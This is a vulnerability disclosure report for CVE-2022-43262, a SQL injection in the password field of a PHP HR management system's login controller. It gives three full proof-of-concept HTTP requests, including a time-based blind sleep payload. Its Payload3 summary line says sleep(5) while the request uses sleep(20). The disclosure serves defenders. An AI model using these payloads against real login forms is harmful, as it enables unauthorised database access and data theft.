CVE-2022-43262: bug_report/SQLi-1.md at main · null302/bug_report

Human Resource Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Deven

vendors:https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html

Vulnerability File: /hrm/controller/login.php

POST parameter ‘password’ exists SQL injection vulnerability

Payload1: name=ab&password=cd’&submit=Sign+In

POST /hrm/controller/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=vilo7csum7e88k93vn9tfo8beb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/hrm/index.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 35

name=ab&password=cd'&submit=Sign+In

Payload2: name=ab&password=cd’’&submit=Sign+In

POST /hrm/controller/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=vilo7csum7e88k93vn9tfo8beb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/hrm/index.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 36

name=ab&password=cd''&submit=Sign+In

Payload3: name=ab&password=cd’%2b(select*from(select(sleep(5)))q)%2b’&submit=Sign+In

POST /hrm/controller/login.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=vilo7csum7e88k93vn9tfo8beb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://localhost/hrm/index.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 74

name=ab&password=cd'%2b(select*from(select(sleep(20)))q)%2b'&submit=Sign+In

The server response time is 20 seconds